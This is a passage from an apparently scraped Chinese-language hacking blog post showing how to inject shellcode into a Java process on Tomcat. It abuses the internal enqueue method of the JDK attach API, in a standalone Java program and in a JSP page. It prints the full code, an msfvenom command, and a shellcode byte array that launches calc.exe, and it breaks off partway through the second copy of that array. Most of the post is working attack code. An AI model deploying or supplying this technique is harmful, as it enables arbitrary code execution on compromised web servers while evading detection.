Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863551868

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00 前言本文基於rebeyond的《Java内存攻击技术漫谈》 ,以Tomcat環境為例,介紹通過jsp加載Shellcode的方法,開源代碼,記錄細節。

0x01 簡介本文將要介紹以下內容:

依賴tools.jar加載Shellcode

自定義類加載Shellcode

0x02 依賴tools.jar加載Shellcode1.Java實現通過enqueue函數加載Shellcode,測試代碼:

importjava.lang.reflect.Method;

publicclassThreadMain{

publicstaticvoidmain(String[]args)throwsException{

System.loadLibrary('attach');

Classcls=Class.forName('sun.tools.attach.WindowsVirtualMachine');

for(Methodm:cls.getDeclaredMethods())

{

if(m.getName().equals('enqueue'))

{

longhProcess=-1;

bytebuf[]=newbyte[]

{

(byte)0xfc,(byte)0x48,(byte)0x83,(byte)0xe4,(byte)0xf0,(byte)0xe8,(byte)0xc0,(byte)0x00,

(byte)0x00,(byte)0x00,(byte)0x41,(byte)0x51,(byte)0x41,(byte)0x50,(byte)0x52,(byte)0x51,

(byte)0x56,(byte)0x48,(byte)0x31,(byte)0xd2,(byte)0x65,(byte)0x48,(byte)0x8b,(byte)0x52,

(byte)0x60,(byte)0x48,(byte)0x8b,(byte)0x52,(byte)0x18,(byte)0x48,(byte)0x8b,(byte)0x52,

(byte)0x20,(byte)0x48,(byte)0x8b,(byte)0x72,(byte)0x50,(byte)0x48,(byte)0x0f,(byte)0xb7,

(byte)0x4a,(byte)0x4a,(byte)0x4d,(byte)0x31,(byte)0xc9,(byte)0x48,(byte)0x31,(byte)0xc0,

(byte)0xac,(byte)0x3c,(byte)0x61,(byte)0x7c,(byte)0x02,(byte)0x2c,(byte)0x20,(byte)0x41,

(byte)0xc1,(byte)0xc9,(byte)0x0d,(byte)0x41,(byte)0x01,(byte)0xc1,(byte)0xe2,(byte)0xed,

(byte)0x52,(byte)0x41,(byte)0x51,(byte)0x48,(byte)0x8b,(byte)0x52,(byte)0x20,(byte)0x8b,

(byte)0x42,(byte)0x3c,(byte)0x48,(byte)0x01,(byte)0xd0,(byte)0x8b,(byte)0x80,(byte)0x88,

(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x48,(byte)0x85,(byte)0xc0,(byte)0x74,(byte)0x67,

(byte)0x48,(byte)0x01,(byte)0xd0,(byte)0x50,(byte)0x8b,(byte)0x48,(byte)0x18,(byte)0x44,

(byte)0x8b,(byte)0x40,(byte)0x20,(byte)0x49,(byte)0x01,(byte)0xd0,(byte)0xe3,(byte)0x56,

(byte)0x48,(byte)0xff,(byte)0xc9,(byte)0x41,(byte)0x8b,(byte)0x34,(byte)0x88,(byte)0x48,

(byte)0x01,(byte)0xd6,(byte)0x4d,(byte)0x31,(byte)0xc9,(byte)0x48,(byte)0x31,(byte)0xc0,

(byte)0xac,(byte)0x41,(byte)0xc1,(byte)0xc9,(byte)0x0d,(byte)0x41,(byte)0x01,(byte)0xc1,

(byte)0x38,(byte)0xe0,(byte)0x75,(byte)0xf1,(byte)0x4c,(byte)0x03,(byte)0x4c,(byte)0x24,

(byte)0x08,(byte)0x45,(byte)0x39,(byte)0xd1,(byte)0x75,(byte)0xd8,(byte)0x58,(byte)0x44,

(byte)0x8b,(byte)0x40,(byte)0x24,(byte)0x49,(byte)0x01,(byte)0xd0,(byte)0x66,(byte)0x41,

(byte)0x8b,(byte)0x0c,(byte)0x48,(byte)0x44,(byte)0x8b,(byte)0x40,(byte)0x1c,(byte)0x49,

(byte)0x01,(byte)0xd0,(byte)0x41,(byte)0x8b,(byte)0x04,(byte)0x88,(byte)0x48,(byte)0x01,

(byte)0xd0,(byte)0x41,(byte)0x58,(byte)0x41,(byte)0x58,(byte)0x5e,(byte)0x59,(byte)0x5a,

(byte)0x41,(byte)0x58,(byte)0x41,(byte)0x59,(byte)0x41,(byte)0x5a,(byte)0x48,(byte)0x83,

(byte)0xec,(byte)0x20,(byte)0x41,(byte)0x52,(byte)0xff,(byte)0xe0,(byte)0x58,(byte)0x41,

(byte)0x59,(byte)0x5a,(byte)0x48,(byte)0x8b,(byte)0x12,(byte)0xe9,(byte)0x57,(byte)0xff,

(byte)0xff,(byte)0xff,(byte)0x5d,(byte)0x48,(byte)0xba,(byte)0x01,(byte)0x00,(byte)0x00,

(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x48,(byte)0x8d,(byte)0x8d,

(byte)0x01,(byte)0x01,(byte)0x00,(byte)0x00,(byte)0x41,(byte)0xba,(byte)0x31,(byte)0x8b,

(byte)0x6f,(byte)0x87,(byte)0xff,(byte)0xd5,(byte)0xbb,(byte)0xf0,(byte)0xb5,(byte)0xa2,

(byte)0x56,(byte)0x41,(byte)0xba,(byte)0xa6,(byte)0x95,(byte)0xbd,(byte)0x9d,(byte)0xff,

(byte)0xd5,(byte)0x48,(byte)0x83,(byte)0xc4,(byte)0x28,(byte)0x3c,(byte)0x06,(byte)0x7c,

(byte)0x0a,(byte)0x80,(byte)0xfb,(byte)0xe0,(byte)0x75,(byte)0x05,(byte)0xbb,(byte)0x47,

(byte)0x13,(byte)0x72,(byte)0x6f,(byte)0x6a,(byte)0x00,(byte)0x59,(byte)0x41,(byte)0x89,

(byte)0xda,(byte)0xff,(byte)0xd5,(byte)0x63,(byte)0x61,(byte)0x6c,(byte)0x63,(byte)0x2e,

(byte)0x65,(byte)0x78,(byte)0x65,(byte)0x00

};

Stringcmd='load';StringpipeName='test';

m.setAccessible(true);

Objectresult=m.invoke(cls,newObject[]{hProcess,buf,cmd,pipeName,newObject[]{}});

System.out.println('result:'+result);

}

}

Thread.sleep(4000);

}

}注:

代碼修改自《Java内存攻击技术漫谈》

字節數組buf的生成方法:

msfvenom-pwindows/x64/execcmd=calc.exe-fjavalong hProcess=-1;表示注入當前Java進程

直接執行會報錯提示ClassNotFoundException: sun.tools.attach.WindowsVirtualMachine,這裡需要添加引用tools.jar,默認位置為jdk \lib\tools.jar

2.jsp實現測試環境為Tomcat

將以上代碼改寫成jsp的格式,執行時同樣會報錯ClassNotFoundException: sun.tools.attach.WindowsVirtualMachine

這裡可以改為使用URLClassLoader引用tools.jar

原代碼:

Classcls=Class.forName('sun.tools.attach.WindowsVirtualMachine');替換為:

URLClassLoaderloader=newURLClassLoader(newURL[]{newURL('file:C:\\ProgramFiles\\Java\\jdk1.8.0_271\\lib\\tools.jar')});

Classcls=loader.loadClass('sun.tools.attach.WindowsVirtualMachine');完整的jsp代碼如下:

%@pageimport='java.lang.reflect.Method'%%@pageimport='java.net.URL'%%@pageimport='java.net.URLClassLoader'%%

URLClassLoaderloader=newURLClassLoader(newURL[]{newURL('file:C:\\ProgramFiles\\Java\\jdk1.8.0_271\\lib\\tools.jar')});

Classcls=loader.loadClass('sun.tools.attach.WindowsVirtualMachine');

for(Methodm:cls.getDeclaredMethods())

{

if(m.getName().equals('enqueue'))

{

longhProcess=-1;

//calc

bytebuf[]=newbyte[]

{

(byte)0xfc,(byte)0x48,(byte)0x83,(byte)0xe4,(byte)0xf0,(byte)0xe8,(byte)0xc0,(byte)0x00,

(byte)0x00,(byte)0x00,(byte)0x41,(byte)0x51,(byte)0x41,(byte)0x50,(byte)0x52,(byte)0x51,

(byte)0x56,(byte)0x48,(byte)0x31,(byte)0xd2,(byte)0x65,(byte)0x48,(byte)0x8b,(byte)0x52,

(byte)0x60,(byte)0x48,(byte)0x8b,(byte)0x52,(byte)0x18,(byte)0x48,(byte)0x8b,(byte)0x52,

(byte)0x20,(byte)0x48,(byte)0x8b,(byte)0x72,(byte)0x50,(byte)0x48,(byte)0x0f,(byte)0xb7,

(byte)0x4a,(byte)0x4a,(byte)0x4d,(byte)0x31,(byte)0xc9,(byte)0x48,(byte)0x31,(byte)0xc0,

(byte)0xac,(byte)0x3c,(byte)0x61,(byte)0x7c,(byte)0x02,(byte)0x2c,(byte)0x20,(byte)0x41,

(byte)0xc1,(byte)0xc9,(byte)0x0d,(byte)0x41,(byte)0x01,(byte)0xc1,(byte)0xe2,(byte)0xed,

(byte)0x52,(byte)0x41,(byte)0x51,(byte)0x48,(byte)0x8b,(byte)0x52,(byte)0x20,(byte)0x8b,

(byte)0x42,(byte)0x3c,(byte)0x48,(byte)0x01,(byte)0xd0,(byte)0x8b,(byte)0x80,(byte)0x88,

(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x48,(byte)0x85,(byte)0xc0,(byte)0x74,(byte)0x67,

(byte)0x48,(byte)0x01,(byte)0xd0,(byte)0x50,(byte)0x8b,(byte)0x48,(byte)0x18,(byte)0x44,

(byte)0x8b,(byte)0x40,(byte)0x20,(byte)0x49,(byte)0x01,(byte)0xd0,(byte)0xe3,(byte)0x56,

(byte)0x48,(byte)0xff,(byte)0xc9,(byte)0x41,(byte)0x8b,(byte)0x34,(byte)0x88,(byte)0x48,

(byte)0x01,(byte)0xd6,(byte)0x4d,(byte)0x31,(byte)0xc9,(byte)0x48,(byte)0x31,(byte)0xc0,

(byte)0xac,(byte)0x41,(byte)0xc1,(byte)0xc9,(byte)0x0d,(byte)0x41,(byte)0x01,(byte)0xc1,

(byte)0x38,(byte)0xe0,(byte)0x75,(byte)0xf1,(byte)0x4c,(byte)0x03,(byte)0x4c,(byte)0x24,

(byte)0x08,(byte)0x45,(byte)0x39,(byte)0xd1,(byte)0x75,(byte)0xd8,(byte)0x58,(byte)0x44,

(byte)0x8b,(byte)0x40,(byte)0x24,(byte)0x49,(byte)0x01,(byte)0xd0,(byte)0x66,(byte)0x41,

(byte)0x8b,(byte)0x0c,(byte)0x48,(byte)0x44,(byte)0x8b,(byte)0x40,(byte)0x1c,(byte)0x49,

(byte)0x01,(byte)0xd0,(byte)0x41,(byte)0x8b,(byte)0x04,(byte)0x88,(byte)0x48,(byte)0x01,